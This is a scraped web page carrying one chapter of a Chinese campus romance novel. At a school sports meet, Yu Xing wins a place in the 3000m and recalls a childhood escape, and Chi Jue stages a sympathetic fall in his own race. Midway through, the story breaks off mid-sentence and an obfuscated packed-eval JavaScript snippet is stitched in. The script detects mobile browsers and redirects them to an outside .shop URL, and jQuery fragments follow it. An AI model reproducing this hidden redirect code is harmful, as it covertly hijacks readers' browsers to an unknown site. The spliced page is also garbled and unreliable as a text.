文趣网 > 都市小说 > 辣椒绿茶[校园] > 19. 演技
    即使是运动会,午间练习也要照常发下,毕竟目前没有任何条例允许高中生真正享受一天无忧无虑的生活。

    但也无伤大雅。简单的午练配上难得放松的午休,全校好不容易因为这一场集体的活动而暂停内卷,午休时间翻阅卷子的声音一下子少了许多,不少人终于能够放下压力,偷偷低头打游戏了。

    下午的操场明显比上午要更加热情高涨,不光是因为没有领导冗长的讲话,还因为这段时间内的项目大多很刺激。

    女子三千米放在了第一场,唐雪中午吃饭的时候都劝俞醒少吃点万一跑着跑着吐了呢。俞醒完全想象不到这个画面,并且扬言自己跑三千米只为装X,如果这么丢人那颜面何在。

    俞醒别好号码牌之后就入场了。起跑线上女生看起来都很能跑的样子,甚至还有一两个是校长跑队的。

    即便如此,她也没什么压力,照常一副淡淡的表情,朝着操场绿坪处等待的唐雪打了声招呼。然后便集中注意力。

    枪声响起。

    三千米并不是个轻松的活,跑了几圈的俞醒早就神游到不知名的地方去了。秋天干燥又温凉的风吹在脸上时,让她想起很久之前的跑过的那些路。

    她压根不需要跑的,因为被痛扁的人不是她。只是当时手里拽着的是其他人的手腕,不光是因为那句带他离开的恳求,也害怕他们两个人被追上然后被痛扁一顿,于是一点劲也不敢泄。

    那只年幼的可怜弱鸡被她拉着跑几步就开始喘,停下来时,俞醒发现他半个人都快归西了。他本身就白,淤青未褪,伤口还在流血,经过这样一场对孩子而言激烈的长跑,说是奄奄一息都不夸张。

    偏偏对方又死要面子,硬撑着没喊停。

    那段路他们跑过春夏秋冬,虽然他们身后并没有什么追上来。可对于年幼弱鸡来说,离那个令他憎恨的人越远越好,离开的速度也越快越好。

    虽然之后俞醒提出“要不然坐个公交车吧姐有钱”,但弱鸡似乎有自己的想法,死活不同意。后来俞醒又说“要不然我骑自行车带你吧,虽然我没带过人但可以试一试”,弱鸡还是不同意。

    最后俞醒又问了一遍,“要不然我让妈妈骑电瓶车带我们吧,你坐后面我蹲前面好了”,那时对方才冷着脸犹犹豫豫地开口:

    “我只是想和你牵着手。”

    俞醒越想就越沉浸,思维像树根一样发散到回忆深处。明明去年跑三千米的时候还没那么多胡思乱想的,怎么今年——特别是最近——往事如阴魂般不散,在她每一个神思游荡的间隙中插足进来。

    非要深究原因的话,她也并非糊涂到一无所知。

    说到底,只是因为出现了一个和他在性格方面底色略像的人,没有安全感需要别人哄一哄多陪陪时不时还会用些非常规手段达到目的……此时弱鸡2.0在干什么,思考他上午没能得到回答的问题,还是对自己午休的时候打游戏没带上他而耿耿于……

    ……等等,那是谁?

    最后一圈,俞醒体力也差不多告罄了。一看前面,只有那两个校长跑队的女生。她光顾着胡思乱想了,双腿凭借着肌肉记忆跑动,不知不觉都快忘了自己现在有些累了。

    可她陡然看见男子三千米候场的人员里出现了一个格格不入且不该出现的人,一时间表情变幻莫测。

    迟觉?

    操场乱糟糟的,只有跑道被清了出来。记录员、志愿者、学生会,还有下一场比赛候场的同学,都在这一片绿坪上。

    不知道迟觉究竟看了多久,他是来等人的,还是来……

    俞醒从他身边跑过,目光交汇间,迟觉向她展示了一下手中的号码牌。

    俞醒:“??”

    他来参赛的?他知道下一场是三千米吗?

    但是没空想了,因为俞醒发现自己离第二名的女生并不远,如果她可以克服双腿没劲的阻碍努力冲刺一下,似乎可以拿个第二。

    看台上的喊声逐渐在耳中变得清晰,那些诸如“卧槽俞醒压根没落啊”、“俞醒加油啊我要看到校队教练疯狂拉拢你但你狠狠拒绝的爽剧”全都从俞醒的脑子里过了一遍。

    她耐力实在太好,身体上还保留着“累了也能继续跑”的肌肉记忆,发现差距不大后卯足了劲往前冲了十几米,在接近终点前超过了第二。

    惯性让她又往前跑了段距离才慢慢停下,班长和唐雪一左一右地搀着她,一个递水一个嘘寒问暖。

    “辛苦了,再慢慢走一会儿,不要立刻坐下。”班长叮嘱了两句,忍不住去看俞醒的脸色,随后瞪大双眼,“你一点儿不良反应都没有?你这身体素质是不是好得有点太超过了?”

    俞醒害羞地挠挠头:“还好吧,确实比较能跑。”

    “去年运动会那个跑第三的就是她,”唐雪对此比较了解,或许是当时随便往跑道上瞥了一眼,正巧就看见了那一幕,“把铅球丢出场外的也是她。后来被校领导警告了,又被校队的老师拉走了,好像说是要俞醒走体育。”

    俞醒:“后来他们发现我只是单纯力气大之后就放弃我了。”

    班长和唐雪一齐笑出来,俞醒也笑着说:“没有那么夸张,真的。”

    话都说到这儿了,俞醒忍不住回头看了一眼。被她超过的校队女生也在慢慢往前走,看到俞醒回头,还打了声招呼:“嗨俞醒。”

    “嗨,”俞醒问,“你怎么了,是不是不舒服?”

    “生理期。”

    班长“啊”了一声:“生理期还长跑?你们班怎么想的啊?”

    “诶呀,还好啦,平时训练又不能因为一个人生理期就停掉。”女生勾住俞醒的脖颈,“没跑过你,一会儿又要挨说了,你就不能等等我嘛。”

    俞醒:“比赛第一,友谊再说。”

    女生笑了下,显然心思不在闲谈比赛上。她一脸神秘地拍了拍俞醒:“你小竹马在那边呢,看见没?”

    俞醒突然有种喘不上气的感觉,原来某个人带给她的痛苦比三千米还要过分:“……什么?”

    在八目相对间,俞醒尴尬地扯了扯嘴角:“哈哈其实他压根就不是啦……”

    “要低调是吧?我懂。确实,跟这种人群的焦点有关系简直是折磨。”女生挑了挑眉,“我先走了哈,你再多溜达溜达,回去记得给自己按按腿哦。”

    唐雪一中午都和自己待在一起,估计也不太清楚外面把整件事传成什么样了。她一言难尽地看着班长:“怎么连长跑队的都知道了?”

    班长和蔼道:“要是别人也不会闹得人尽皆知了。主要是你俩一个是男神一个是据说恶贯满盈的恶霸,想不被知道都难啊。你俩真是邻居,从小一起玩到现在啊?也没听你说过啊,平时瞒得挺好嘛。”

    俞醒暂时没搞清楚自己是不是正在后悔,反正心中五味杂陈,不知道该怎么回答。

    有一点私心,有一点烦闷。

    于是她下意识看向迟觉的方向。

    俞醒皱着眉,略过那个令人烦躁的问题:“怎么轮到迟觉跑了?他不会真的跑着跑着就死了吧?”

    “张子威同学身体不舒服,迟觉又比较乐于助人,”班长安抚地顺了顺她的背,“放心吧,就算是死了也是帅的,得先把这具艳尸拿给全校看一眼再埋。”

    俞醒:“……”

    唐雪:“……”

    她们两人都对班长肃然起敬,此人犹如万恶的资本家,要把迟觉最后一丝男色都榨干净。

    差不多休息好后,俞醒干脆就和唐雪坐在一旁的铁栅栏上有一搭没一搭地讲话。

    几棵梧桐树联排着长在一边,树荫下或站或坐了许多人,多两个不多,少两个不少。

    迟觉那边也

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17544342|204063||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    准备入场了。他安静地贴好自己的号码牌,站在一众男生当中尤为鹤立人群。上午走方阵的盛况再次上演,数不清的镜头聚焦于迟觉身上,就连学校的摄影都忍不住频频让他入境。

    俞醒定定地看了一会儿,把手放到兜里,惊觉自己又没带手机。

    迟觉若有所感地看过来,眼神中闪烁着微微笑意。

    事实上他一直在有意无意地看着她,等待对方把注意力全部给他时才抬眼回视。

    俞醒和他对视数秒,缓缓蹙起眉,最后无力妥协,偏头对唐雪说:“我去拿瓶水。”

    唐雪也一副“我都懂”的样子:“明白。走。我正好也回去坐着。”

    拿水的同时她还不忘把手机捎上,然后再次回到原地。此时运动员早已在起跑线准备好,俞醒所在的位置暂时只能看见一个颀长单薄的背影。枪声一响,他就跟着其他人不紧不慢地跑起来。

    所过之处一阵国粹,举起的手机和相机让人忍不住怀疑是不是来到了演唱会或者见面会。

    她也默默举起手机。

    第一圈,迟觉跑到弯道处,正好能与俞醒的镜头打上一个漂亮的招呼。

    俞醒下意识地按下快门。

    随后,她像被烫到一样急忙把手机拿下去,有一瞬间她觉得自己被下蛊了。俞醒心情复杂地再去追寻迟觉的身影,他已经跑过弯道了,她又只能看到一个背影。

    她不敢再拿出手机,更不敢点开相册。

    其实俞醒也不太想继续看迟觉了,跟他有关的任何事都会让自己的心情变差,更何况是去看他本人。可她的目光还是忍不住跟着迟觉走了一圈又一圈,随后她惊诧地发现,迟觉居然跟前两名跑得十分胶着。

    把跑得慢的甩了整整一圈。

    俞醒震惊之余,还不忘假装不在乎地溜达到终点。

    但不知怎么,在临近终点时,迟觉的速度慢了下来,逐渐被落后一圈的胡策追上。

    还没等她看清,迟觉就已经倒在地上了。

    惊呼声逐渐大了起来,俞醒立刻跑过去,但就是这几步路的功夫,迟觉已经被离得更近的同学扶了起来。

    迟觉的校服外套留在看台,此时上身是短袖的夏季校服,俞醒看见他白皙的手臂上被塑胶跑道划出渗血的伤口。

    迟觉对着旁边的同学惨淡地笑了笑,从口型上来看,好像是在道谢,随后撑着残破的身躯走完了剩下的十几米。

    哨声响了,即使中间出了意外,迟觉也还是第三,但目前没人有空欢呼,因为长跑第三的这位人群焦点现在变成了伤痕累累的风中残花。

    他可怜兮兮地走到俞醒面前,在俞醒愕然又担心的目光中拉着她一起坐倒在草坪上。

    迟觉眼眸微动,委屈地靠在俞醒身上:“……我是不是不好看了?”

    俞醒很想问问为什么他现在还有心思想这个问题,终究还是没吐槽出来,只是安慰道:“那你应该是对自己有什么误解吧。”

    她想把他拉起来:“起来走两步,剧烈运动完不能立刻坐下,我撑着你,快点。”

    但她还没起身,周围就围了一圈的人。七嘴八舌地关心和问候间,迟觉缓缓站了起来,顺手还拉了一把俞醒。

    俞醒:“……?”

    迟觉顺手揽住俞醒的肩,把大部分重量都压在她的身上:“我没事,谢谢,就是脚好像扭到了,俞醒说要带我去医务室看看,别担心。”

    听说过些许风声的众人都心照不宣地打着哈哈。

    迟觉对这种局面仍然不满意,他垂下头,半委屈半大度地开口:“对了,你们也别怪胡策了,是我不小心撞过去的,跟他没关系。”

    俞醒:“……”

    远处,胡策被迫终止了他的三千米。他不服气地呐喊:“我真没推他!我没有!”

    俞醒:“……”